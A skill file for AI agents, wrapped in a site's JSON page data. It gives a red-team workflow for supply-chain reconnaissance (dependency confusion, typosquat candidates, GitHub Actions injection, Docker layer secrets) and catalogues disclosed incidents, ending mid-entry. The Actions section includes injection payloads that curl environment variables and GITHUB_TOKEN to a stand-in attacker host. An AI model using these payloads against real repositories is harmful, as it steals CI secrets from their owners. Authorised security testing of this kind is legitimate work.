[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7ETA4WPJNSQRT4JW2TGP252":3,"skill-same:01M7ETA4WPJNSQRT4JW2TGP252":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":26,"commitSha":27,"skillDirectory":28,"forksCount":29,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M7ETA4WPJNSQRT4JW2TGP252","supply-chain-attack-recon",null,"External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI\u002FCD configuration exposure. Reconnaissance and identification ONLY — actual package publishing \u002F typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm\u002FPyPI ecosystem. Use when the target has a public GitHub org, when their build artifacts\u002FSBOMs are reachable, when their docker images are on Docker Hub\u002FGHCR, or when you find internal package names in their JS bundles.","lza6\u002FArmor-piercing-system-prompts","lza6","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F128880206?v=4","01M7EB3K7WPX5T28EJ2NVHE6EG","Chinese-tingfeng","01M7EB3K97E1KQ16QWKJMFNGX8",11,"MIT","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fsupply-chain-attack-recon\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: supply-chain-attack-recon\ndescription: External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI\u002FCD configuration exposure. Reconnaissance and identification ONLY — actual package publishing \u002F typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm\u002FPyPI ecosystem. Use when the target has a public GitHub org, when their build artifacts\u002FSBOMs are reachable, when their docker images are on Docker Hub\u002FGHCR, or when you find internal package names in their JS bundles.\nsources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security, cisa-advisories, mandiant-tag, github-security-blog, snyk-research\nreport_count: 12\n---\n\n## When to use\n\nTrigger when:\n- Target has a public GitHub organization (find via OSINT)\n- JS bundles reference internal-looking package names (`@target-internal\u002F...`, `target-utils`, `target-shared`)\n- Build logs, SBOMs, or `package-lock.json` files are publicly accessible\n- Target uses CI\u002FCD that's partially public (GitHub Actions, GitLab CI, Bitrise)\n- Docker images on Docker Hub\u002FGHCR\u002FQuay belong to target org\n- Findings include `npmrc`\u002F`pip.conf`\u002F`gradle.properties` with internal registry URLs\n- `.github\u002Fworkflows\u002F*.yml` files reference internal tooling\n\nDo NOT use for:\n- Internal-network artifact registries (out of scope per external boundary)\n- Actually publishing typosquats \u002F dep-confusion packages without explicit OK\n- Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)\n\n---\n\n## The supply-chain attack surface map\n\n```\nTarget Org\n├── Public GitHub Org → workflow files → secrets exfil opportunities\n├── Internal package names in JS\u002FAndroid bundles → dependency confusion\n├── Docker images on public registries → secrets in layers, RCE on pull\n├── SBOM \u002F artifact metadata → exact dep versions for known-vuln chaining\n├── npmrc \u002F pip.conf in repos → internal registry URL disclosure\n├── External package dependencies → typosquat name candidates\n└── Build\u002Frelease pipelines → injection if pull_request_target etc.\n```\n\n---\n\n## Step 1 — GitHub org discovery\n\n```bash\nTARGET=\"\u003Cbrand>\"  # set to target brand name\n\n# Direct guesses\nfor guess in $TARGET \"${TARGET}-tech\" \"${TARGET}corp\" \"${TARGET}-io\" \"${TARGET}-eng\"; do\n  curl -sI \"https:\u002F\u002Fgithub.com\u002F$guess\" | grep -E \"HTTP|status\" | head -1\ndone\n\n# Via WHOIS \u002F email-domain → GitHub search\ngh search users --owner-affiliations=organization --query \"$TARGET\" --limit 10\n\n# Via employees → reverse from social media + GitHub profile\n# Many employees list their employer org on their GitHub profile\n```\n\n---\n\n## Step 2 — Enumerate public repos for sensitive artifacts\n\n```bash\nORG=\"targetorg\"\n\n# List public repos\ngh repo list \"$ORG\" --limit 100 --json name,description,visibility,defaultBranchRef\n\n# Look for high-signal repo names\ngh repo list \"$ORG\" --limit 100 --json name | jq -r '.[].name' | grep -iE \"internal|infra|deploy|config|secret|setup|sdk|api\"\n\n# Clone all (small org) or selectively\ngh repo clone \"$ORG\u002F$repo_name\"\n```\n\n---\n\n## Step 3 — Internal package-name discovery\n\n### From JS bundles\n\n```bash\n# JS bundles are the easiest source of internal npm names\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE '@[a-z-]+\u002F[a-z-]+' | sort -u\ncurl -sk https:\u002F\u002Ftarget.com\u002Fmain.js | grep -oE 'require\\(\"[^\"]+\"\\)' | sort -u\n\n# Look for scoped names that are NOT public on npm\nfor pkg in @target\u002Futils @target-internal\u002Fapi @companybrand\u002Fsdk; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$pkg\" | head -1 | awk '{print $2}')\n  echo \"  $pkg → $status\"\n  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE\ndone\n```\n\n### From GitHub repo package.json files\n\n```bash\n# Public repos with package.json that reference internal scopes\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  pkg=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Fpackage.json\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n  echo \"$pkg\" | jq -r '.dependencies \u002F\u002F {} | keys[]' 2>\u002Fdev\u002Fnull | grep -E '^@[a-z-]+\u002F'\ndone | sort -u\n```\n\n### From Python projects\n\n```bash\n# Internal pip package names\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002Frequirements.txt\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull\ndone | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'\n```\n\n---\n\n## Step 4 — Dependency-confusion vulnerability check\n\nFor each internal-looking package name discovered:\n\n```bash\nNAME=\"@target-internal\u002Futils\"   # example\n\n# npm check\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$NAME\" | head -1\n# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE\n\n# pypi check (no scopes, just name)\nNAME=\"target_utils\"\ncurl -sI \"https:\u002F\u002Fpypi.org\u002Fproject\u002F$NAME\u002F\" | head -1\n# 404 → name is registerable\n\n# rubygems\ncurl -sI \"https:\u002F\u002Frubygems.org\u002Fapi\u002Fv1\u002Fgems\u002F$NAME.json\" | head -1\n\n# Go modules — slightly different, since module names are URLs\n# Check if module path is reachable\ncurl -sI \"https:\u002F\u002Fproxy.golang.org\u002Fgithub.com\u002F$ORG\u002F$NAME\u002F@latest\" | head -1\n```\n\n**Severity calibration:** Just because a name is unclaimed doesn't mean it's exploitable. You also need:\n1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)\n2. OR evidence the target's package manager is configured insecurely (e.g., `.npmrc` without `@scope:registry=` mapping)\n3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)\n\nA 404 on registry without supporting context is INFORMATIONAL only.\n\n---\n\n## Step 5 — Typosquat candidates (around external dependencies)\n\nFor each external public dependency the target uses:\n\n```bash\n# Common typosquat patterns:\n# Original: \"react-router-dom\"\n# Typos: \n#   \"react-router-doms\" (extra s)\n#   \"react-routter-dom\" (double t)\n#   \"react-rotuer-dom\" (transposed)\n#   \"react--router-dom\" (double dash)\n#   \"react-router-dorn\" (m→rn)\n#   \"reactrouterdom\" (no dashes)\n\n# Generate candidates\npython3 -c \"\nimport sys\nname='react-router-dom'\nfor i in range(len(name)):\n    print(name[:i] + name[i+1:])   # delete\n    if i \u003C len(name)-1:\n        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose\n\"\n\n# Check which candidates are UNCLAIMED on the registry\nfor candidate in ...; do\n  status=$(curl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F$candidate\" | head -1 | awk '{print $2}')\n  [ \"$status\" = \"404\" ] && echo \"  UNCLAIMED: $candidate\"\ndone\n```\n\n**⚠ EXTERNAL-OFFENSIVE NOTE:** publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.\n\n---\n\n## Step 6 — GitHub Actions workflow injection scan\n\nFor each public repo with `.github\u002Fworkflows\u002F`:\n\n```bash\nfor repo in $(gh repo list \"$ORG\" --limit 50 --json name --jq '.[].name'); do\n  workflows=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\" --jq '.[].name' 2>\u002Fdev\u002Fnull)\n  for wf in $workflows; do\n    content=$(gh api \"repos\u002F$ORG\u002F$repo\u002Fcontents\u002F.github\u002Fworkflows\u002F$wf\" --jq '.content' 2>\u002Fdev\u002Fnull | base64 -d 2>\u002Fdev\u002Fnull)\n    echo \"=== $repo\u002F$wf ===\"\n    \n    # High-risk patterns:\n    # 1. pull_request_target (runs with secrets on PR from forks)\n    echo \"$content\" | grep -E 'pull_request_target'\n    \n    # 2. Untrusted context interpolation\n    echo \"$content\" | grep -E '\\$\\{\\{[^}]*github\\.(event|head_ref|pull_request)[^}]*\\}\\}'\n    \n    # 3. ${{ github.event.* }} into shell run blocks\n    echo \"$content\" | grep -B1 -A2 'run:' | grep -E '\\$\\{\\{ ?github\\.event\\.'\n    \n    # 4. checkout of PR head with elevated perms\n    echo \"$content\" | grep -E 'ref:.*pull_request|head_ref'\n    \n    # 5. Self-hosted runner without isolation\n    echo \"$content\" | grep -E 'runs-on:.*self-hosted'\n\n    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@\u003C40-char sha>)\n    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions\u002Fchanged-files).\n    echo \"$content\" | grep -E 'uses: *[^ ]+\u002F[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\\b' | grep -v '@[0-9a-f]\\{40\\}'\n  done\ndone\n```\n\n### Injection patterns to flag (severity guide)\n\n| Pattern | Severity |\n|---|---|\n| `pull_request_target` + `actions\u002Fcheckout` with `ref: pull_request.head.sha` + uses repo secrets | **Critical** — RCE on runner with org secrets |\n| `${{ github.event.pull_request.title }}` interpolated into shell | **Critical** — script injection via PR title |\n| Third-party action pinned to a mutable tag (`uses: org\u002Frepo@v1` \u002F `@main`) instead of a commit SHA | **High** — repointable supply-chain vector (see case #9) |\n| Self-hosted runner reachable from public repo workflows | **High** — persistent attacker pivot |\n| Issue-comment-triggered workflow that runs `gh` with token | **High** |\n| Workflow downloads from URL that target controls | **Medium** |\n\n### GitHub Actions context injection sinks (branch name, PR title, issue body)\n\nUntrusted context flowing from PR metadata into `run:` blocks is a classic injection vector. Test payloads:\n\n```bash\n# Malicious branch name (test in a fork PR):\ngit checkout -b 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\ngit push origin 'feat\u002Fx\"; curl https:\u002F\u002Fattacker\u002F?d=$(env | base64);\"'\n\n# Malicious PR title (create a test PR with this title):\nPR_TITLE='x\"; curl https:\u002F\u002Fattacker\u002F?d=$(echo $GITHUB_TOKEN | base64);\"'\n\n# Malicious issue body:\nISSUE_BODY='x\"; curl https:\u002F\u002Fattacker\u002F?leak=$(git config user.name);\"'\n\n# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.\n```\n\n### Public GitHub Actions run logs (leaks secrets)\n\nActions logs are public by default on public repos. Look for:\n\n```bash\n# List all Action runs for a repo\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'\n\n# Fetch logs from a run\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs --jq '.logs' | base64 -d\n\n# Search logs for common leakage patterns\ngh api repos\u002FOWNER\u002FREPO\u002Factions\u002Fruns\u002F\u003Cid>\u002Flogs | grep -iE 'token|key|secret|password|credential|aws_'\n```\n\nLeaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).\n\n### Static detection of Actions injection sinks with zizmor\n\nFor high-confidence automated flagging, run the `zizmor` analyzer on all workflow files:\n\n```bash\n# Install zizmor (Rust-based, from https:\u002F\u002Fgithub.com\u002Fwoodruffw\u002Fzizmor)\ncargo install zizmor\n\n# Scan all workflows\nzizmor .github\u002Fworkflows\u002F*.yml\n\n# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.\n# Sort findings by risk tier\n```\n\nZizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).\n\n---\n\n## Step 7 — Docker \u002F container image registry mining\n\n```bash\n# Docker Hub\ncurl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F?page_size=100\" | jq -r '.results[].name'\n\n# GHCR (GitHub Container Registry) — public images visible in repo packages tab\ngh api \"users\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\ngh api \"orgs\u002F$ORG\u002Fpackages?package_type=container\" 2>\u002Fdev\u002Fnull\n\n# For each image, list tags\nfor img in image1 image2; do\n  curl -s \"https:\u002F\u002Fhub.docker.com\u002Fv2\u002Frepositories\u002F$ORG\u002F$img\u002Ftags?page_size=20\" | jq -r '.results[].name'\ndone\n\n# Pull and inspect layers\ndocker pull \"$ORG\u002F$img:latest\"\ndocker history --no-trunc \"$ORG\u002F$img:latest\"\n\n# Mine layers for secrets\ndocker save \"$ORG\u002F$img:latest\" -o \u002Ftmp\u002Fimage.tar\nmkdir -p \u002Ftmp\u002Fimg && tar -xf \u002Ftmp\u002Fimage.tar -C \u002Ftmp\u002Fimg\nfind \u002Ftmp\u002Fimg -name \"*.tar*\" -exec tar -xf {} -C \u002Ftmp\u002Fimg\u002Fextracted \\;\n# Then run gitleaks \u002F trufflehog over extracted filesystem\ntrufflehog filesystem \u002Ftmp\u002Fimg\u002Fextracted --no-update\n```\n\n---\n\n## Step 8 — SBOM \u002F artifact metadata leakage\n\n```bash\n# Look for SBOMs published as releases (SPDX, CycloneDX format)\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"sbom|cyclonedx|spdx\"; \"i\")) | .browser_download_url'\n\n# JSON dependency lockfiles in releases\ngh api \"repos\u002F$ORG\u002F$REPO\u002Freleases\" --jq '.[] | .assets[] | select(.name | test(\"lock|deps\"; \"i\")) | .browser_download_url'\n\n# Exact-version-pinned deps → known-CVE chaining\n# Compare versions to nuclei nvd templates or osv.dev for known vulns\ncurl -s \"https:\u002F\u002Fapi.osv.dev\u002Fv1\u002Fquery\" -d '{\"package\": {\"name\": \"lodash\", \"ecosystem\": \"npm\"}, \"version\": \"4.17.10\"}'\n```\n\n---\n\n## Step 9 — Internal registry URL leakage\n\n```bash\n# .npmrc patterns\ngrep -r \"registry=\" .                                            # in cloned repos\ngrep -r \"_authToken=\" .                                          # leaked npm token!\ngrep -r \"@.*registry=\" .                                          # scoped registry\n\n# pip config\ngrep -r \"extra-index-url\" .\ngrep -r \"index-url\" .\n\n# Gradle \u002F Maven\ngrep -rE \"(mavenCentral|maven\\s*\\{)\" .\ngrep -r \"url.*\\(.*nexus\" .\n\n# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable\n```\n\n---\n\n## Step 10 — npm\u002FPyPI organizational presence\n\n```bash\n# Some orgs maintain a public npm scope mirroring their brand\ncurl -s \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Fv1\u002Fsearch?text=scope:$ORG&size=50\" | jq '.objects[].package.name'\n\n# Public PyPI presence\ncurl -s \"https:\u002F\u002Fpypi.org\u002Fsimple\u002F\" | grep \"$ORG\" | head -20\n\n# Check if scope is taken — if it's NOT, an attacker could register\n# (relevant for any internal package using that scope)\ncurl -sI \"https:\u002F\u002Fregistry.npmjs.org\u002F-\u002Forg\u002F$ORG\"\n```\n\n---\n\n## Step 11 — Frontend and third-party dependency checks\n\n### Compromised CDN detection (polyfill.io, etc.)\n\nKnown-compromised CDNs and analytics services have been weaponized. Check target's public HTML\u002FJS:\n\n```bash\n# Detect usage of polyfill.io and similar historically-compromised services\ncurl -s https:\u002F\u002Ftarget.com | grep -i polyfill\ncurl -s https:\u002F\u002Ftarget.com | grep -iE '(polyfill\\.io|cdn\\.jsdelivr\\.net.*polyfill|babel\\.min\\.js)'\n\n# Check JavaScript bundles\nfor bundle in public\u002F*.js main.*.js app.*.js; do\n  grep -i polyfill \"$bundle\" && echo \"FOUND: $bundle\"\ndone\n```\n\nReference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.\n\n---\n\n## Tooling\n\n| Tool | Purpose |\n|---|---|\n| **`trufflehog`** | Filesystem\u002Fgit\u002Fdocker secret scan |\n| **`gitleaks`** | Git history secret scan |\n| **`dependency-confusion`** (Confused) | npm scope\u002FPyPI checks |\n| **`packj`** | Package risk score (PyPI\u002Fnpm\u002FRubyGems) |\n| **`Lift \u002F Snyk vuln-db`** | Known CVE lookup by package version |\n| **`actionlint`** | GitHub Actions static analyzer |\n| **`zizmor`** | GitHub Actions injection & security antipattern detection |\n| **`OSSGadget`** | Microsoft's package metadata toolkit |\n| **`semgrep`** + supply-chain rules | Workflow injection detection |\n| **`osv-scanner`** | Match versions to known vulns |\n\n---\n\n## Severity scoring guidance\n\n| Finding | Severity |\n|---|---|\n| Internal package name + no scope-mapping + unclaimed on public npm + actively in builds | **Critical** — Dep-confusion RCE |\n| Internal package name + scope-mapping in `.npmrc` but `_authToken` leaked | **Critical** — direct registry push |\n| Pull_request_target workflow + secrets exposed + PR-controlled code execution | **Critical** — Org-wide token theft |\n| Docker image with leaked secret in layer | **High** (varies by secret) |\n| Internal registry URL disclosed (but no creds) | **Low** — Info-disc only |\n| Typosquat candidate identified (not published) | **Informational** — Awareness item |\n| Public org has 1000+ unused names that COULD be claimed | **Informational** — Hygiene |\n\n---\n\n## Anti-patterns\n\n- **DO NOT publish a typosquat \u002F dep-confusion package without explicit, signed, scope-clarified authorization** — this affects users outside the engagement\n- **DO NOT submit PRs to client repos as part of testing without specific OK** — workflow injection PoCs may be needed but they touch CI\u002FCD and other developers\n- **DO NOT scrape entire npm\u002FPyPI for typosquat candidates** — irresponsible and noisy\n- **DO NOT confuse \"name is unclaimed\" with \"exploitable dependency confusion\"** — the build system matters; many orgs use proper scope-mapping that prevents the attack\n- **DO NOT touch GitHub Actions self-hosted runners** — they may be inside the client network and outside the external scope\n- **DO NOT pull large Docker images blindly** — image bandwidth can be 5-50GB; review tags first\n\n---\n\n## What constitutes a deliverable finding\n\nA supply-chain finding needs ALL of:\n1. **Concrete name\u002Fpath** — exact internal package name, exact workflow file path, exact image tag\n2. **Vulnerability mechanism** — dep-confusion \u002F typosquat \u002F injection \u002F etc.\n3. **Exploitability evidence** — proof the build\u002Finstall would actually use the attacker's payload (not just \"name is unclaimed\")\n4. **Severity** — calibrated to blast radius (one developer? all developers? all users of the package?)\n5. **Recommendation** — specific (e.g., \"register the unused name @target-internal\u002Futils on npm AS YOUR OWN even if unused; configure `.npmrc` scope:registry mapping\")\n\n---\n\n## Bridge to neighboring skills\n\n- `apk-redteam-pipeline` — APKs reveal internal package names too (find them in decompiled `build.gradle`)\n- `cloud-iam-deep` — CI\u002FCD secrets often = cloud credentials; this skill finds them, that skill validates them\n- `hunt-cloud-misconfig` — CI\u002FCD pipeline misconfig (Jenkins \u002F GitLab Runner) overlap\n- `m365-entra-attack` — Azure DevOps pipelines are part of Entra surface\n- `redteam-report-template` — supply-chain findings need extra clarity on blast radius (one repo vs whole ecosystem)\n- `mid-engagement-ir-detection` — registering a name on public npm triggers nothing inside the client, but ANY publish action is loud and audit-trailed\n\n---\n\n## External-only boundary check\n\nThis skill is squarely external — all targets are public registries \u002F public GitHub. If the engagement involves the client's internal artifact registry (internal Nexus, JFrog, Sonatype), that is internal infrastructure and OUT OF SCOPE per `feedback_skill_boundaries`. Report internal-registry URL exposure as a finding; do not attempt to enumerate it.\n\n---\n\n## Real-world references\n\n- **Alex Birsan 2021** — Original dependency-confusion research, $130K+ in bounties from Apple\u002FMicrosoft\u002FPayPal\u002FYelp\u002Fetc.\n- **ua-parser-js 2021** — npm package compromise via stolen maintainer credentials\n- **node-ipc 2022** — Maintainer-introduced supply-chain malicious update\n- **3CX 2023** — Cascading supply-chain attack via X_TRADER → 3CX → customers\n- **XZ Utils 2024** — Multi-year social-engineering supply-chain attack on upstream OSS\n\nEach of these is worth reading for what made the attack effective and what red flags existed earlier.\n\n---\n\n## Disclosed-case catalogue (citations)\n\nTwelve well-documented public cases, mapped to the recon surface above. Each entry: attack name, year, flow, root cause, impact, references, and the recon-skill takeaway.\n\n### 1. SolarWinds Orion \u002F SUNBURST (CISA AA20-352A, Dec 2020)\n\n- **Flow:** APT29 (UNC2452 \u002F Cozy Bear) breached SolarWinds' build pipeline and inserted the SUNBURST backdoor into `SolarWinds.Orion.Core.BusinessLayer.dll`. The trojanized DLL was code-signed with SolarWinds' legitimate certificate and shipped to ~18,000 customers via the normal auto-update channel between March and June 2020.\n- **Root cause:** Build-environment compromise — attackers modified source mid-compilation; signing infrastructure trusted the build output without verifying source integrity.\n- **Impact:** ~18,000 organisations received the backdoor; ~100 (incl. US Treasury, Commerce, DHS, DoJ, Microsoft, FireEye\u002FMandiant) received the SECOND-stage TEARDROP\u002FBEACON payload. SolarWinds reported >$40M in direct response costs; class-action settlement $26M.\n- **References:**\n  - CISA AA20-352A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa20-352a\n  - Mandiant write-up (SUNBURST): https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fsunburst-additional-technical-details\n  - Microsoft analysis: https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2020\u002F12\u002F18\u002Fanalyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack\u002F\n  - SolarWinds post-mortem: https:\u002F\u002Forangematter.solarwinds.com\u002F2021\u002F01\u002F11\u002Fnew-findings-from-our-investigation-of-sunburst\u002F\n- **Recon takeaway:** Whenever a target ships signed binaries from their own CI, the recon check is: is the build environment itself reachable? Look for exposed Jenkins\u002FGitLab CI consoles, public TeamCity agents, or build artefacts that leak source paths. A code-signing cert plus a compromised build = unstoppable trust chain.\n\n### 2. 3CX VoIP softphone supply chain (CVE-2023-29059, March 2023)\n\n- **Flow:** DPRK-attributed Lazarus subgroup (UNC4736 \u002F Labyrinth Chollima) trojanized the 3CX DesktopApp (Electron-based softphone) on both Windows and macOS. Initial entry was via a PREVIOUS supply-chain attack — an employee installed a backdoored copy of Trading Technologies' X_TRADER, the FIRST disclosed cascading supply-chain compromise (one supply-chain victim becomes another's vector).\n- **Root cause:** Dev workstation compromise → access to 3CX source\u002Fbuild pipeline → malicious `ffmpeg.dll` and `d3dcompiler_47.dll` shipped in signed installer.\n- **Impact:** ~600,000 organisations use 3CX; tens of thousands of trojanized clients downloaded. Lazarus selectively activated second-stage payloads against cryptocurrency and trading firms.\n- **References:**\n  - CrowdStrike: https:\u002F\u002Fwww.crowdstrike.com\u002Fen-us\u002Fblog\u002Fcrowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers\u002F\n  - SentinelOne: https:\u002F\u002Fwww.sentinelone.com\u002Fblog\u002Fsmoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack\u002F\n  - Mandiant cascading attack analysis: https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002F3cx-software-supply-chain-compromise\n  - 3CX post-mortem: https:\u002F\u002Fwww.3cx.com\u002Fblog\u002Fnews\u002Fdesktopapp-security-alert-update\u002F\n- **Recon takeaway:** Cascading supply chain is real — your target's vendors' vendors matter. When recon enumerates \"what software does this org install on engineer laptops,\" each one is itself a supply-chain target. Electron apps (signed JS bundles) are especially common vectors.\n\n### 3. MOVEit Transfer mass exploitation (CVE-2023-34362, May–July 2023)\n\n- **Flow:** Cl0p ransomware affiliate (FIN11 \u002F Lace Tempest) discovered an unauthenticated SQLi in Progress MOVEit Transfer, deployed the LEMURLOOT webshell, and exfiltrated files from every internet-reachable instance over a ~2-week window before the patch dropped on 31 May 2023.\n- **Root cause:** Pre-auth SQLi in `moveitisapi\u002Fmoveitisapi.dll` → arbitrary SQL → write webshell via `xp_cmdshell`-equivalent path. Classic single-CVE-mass-exploitation; not a build-pipeline attack but a SHIPPED-CODE supply-chain failure.\n- **Impact:** ~2,700 organisations confirmed compromised, ~95 million individuals' PII leaked (BBC, Shell, BA, US DoE, Louisiana OMV, Oregon DMV, etc.). Estimated losses >$15B aggregated.\n- **References:**\n  - CISA AA23-158A: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Fcybersecurity-advisories\u002Faa23-158a\n  - Progress advisory: https:\u002F\u002Fcommunity.progress.com\u002Fs\u002Farticle\u002FMOVEit-Transfer-Critical-Vulnerability-31May2023\n  - Mandiant: https:\u002F\u002Fcloud.google.com\u002Fblog\u002Ftopics\u002Fthreat-intelligence\u002Fzero-day-moveit-data-theft\n  - Huntress technical breakdown: https:\u002F\u002Fwww.huntress.com\u002Fblog\u002Fmoveit-transfer-critical-vulnerability-rapid-response\n- **Recon takeaway:** Vendor file-transfer products (MOVEit, Accellion FTA, GoAnywhere MFT, Cleo Harmony) are the recurring \"internet edge, holds everyone's data, runs on Windows\" pattern. Always fingerprint by HTML title \u002F favicon hash early in recon; a single edge-product CVE = entire customer base.\n\n### 4. Codecov bash uploader compromise (Apr 2021)\n\n- **Flow:** Attackers gained access to Codecov's Docker image build process via a credential mistake in the image-creation flow, then modified the `Bash Uploader` script (`https:\u002F\u002Fcodecov.io\u002Fbash`) to exfiltrate environment variables to a third-party IP. The modification persisted from 31 Jan 2021 to 1 Apr 2021 — two months before detection by a customer who noticed an SHA-256 mismatch.\n- **Root cause:** Docker image build leaked a credential allowing modification of the served bash script; no integrity verification (no signed pinned hash) on the customer side.\n- **Impact:** Every CI run worldwide that piped `curl -s https:\u002F\u002Fcodecov.io\u002Fbash | bash` for 2 months exfiltrated env vars. Confirmed downstream victims: HashiCorp (rotated GPG key), Twilio, Rapid7 (source-code partial exposure), Mercari, Confluent, Atlassian.\n- **References:**\n  - Codecov post-mortem: https:\u002F\u002Fabout.codecov.io\u002Fsecurity-update\u002F\n  - HashiCorp advisory: https:\u002F\u002Fdiscuss.hashicorp.com\u002Ft\u002Fhcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure\u002F23512\n  - Mercari disclosure: https:\u002F\u002Fabout.mercari.com\u002Fen\u002Fpress\u002Fnews\u002Farticles\u002F20210521_incidentreport\u002F\n  - Rapid7: https:\u002F\u002Fwww.rapid7.com\u002Fblog\u002Fpost\u002F2021\u002F05\u002F13\u002Frapid7-discloses-its-response-to-codecov-incident\u002F\n- **Recon takeaway:** \"Curl-bash-install\" patterns in public CI workflows are gold for this recon skill — search `.github\u002Fworkflows\u002F` for `curl ... | bash`, `wget ... | sh`, `iwr ... | iex`. Any third-party URL fed into a shell is a supply-chain blast radius. Pinned SHAs in workflows mitigate; absence of pinning = finding.\n\n### 5. ua-parser-js npm hijack (Oct 2021)\n\n- **Flow:** Attacker phished\u002Fcredential-stuffed the maintainer's npm account and published `0.7.29`, `0.8.0`, and `1.0.0` of `ua-parser-js` (≈7M weekly downloads, transitively reaching Facebook, Microsoft, Amazon, IBM). The malicious versions ran a `preinstall` hook that downloaded a cryptominer + Windows password-stealer (Jason credential stealer).\n- **Root cause:** Maintainer npm account had no 2FA \u002F weak credentials; npm did not enforce 2FA for high-value publishers at the time.\n- **Impact:** Packages live ~4 hours before takedown but tens of thousands of installs in that window. CISA issued an emergency alert — the first time CISA had ever warned on an npm-package compromise.\n- **References:**\n  - GitHub Security advisory: https:\u002F\u002Fgithub.com\u002Fadvisories\u002FGHSA-pjwm-rvh2-c87w\n  - CISA alert: https:\u002F\u002Fwww.cisa.gov\u002Fnews-events\u002Falerts\u002F2021\u002F10\u002F22\u002Fmalware-discovered-popular-npm-package-ua-parser-js\n  - Maintainer's incident note: https:\u002F\u002Fgithub.com\u002Ffaisalman\u002Fua-parser-js\u002Fissues\u002F536\n  - Snyk analysis: https:\u002F\u002Fsnyk.io\u002Fblog\u002Fnpm-security-malicious-code-found-in-npm-package-ua-parser-js\u002F\n- **Recon takeaway:** Identify your target's top-30 npm\u002FPyPI maintainers by package download count, then check whether their accounts have 2FA enabled (npm exposes this via `npm profile get` on org members, partially public via the registry API). Recon output: \"these 4 maintainers control packages with X installs and have no 2FA per public registry data.\"\n\n### 6. event-stream npm package (Nov 2018)\n\n- **Flow:** Original maintainer Dominic Tarr (no longer using the module) handed `event-stream` (≈2M weekly downloads) to a new contributor named \"right9ctrl\" who'd offered to maintain it. The new maintainer added `flatmap-stream` as a dependency, then pushed an update to 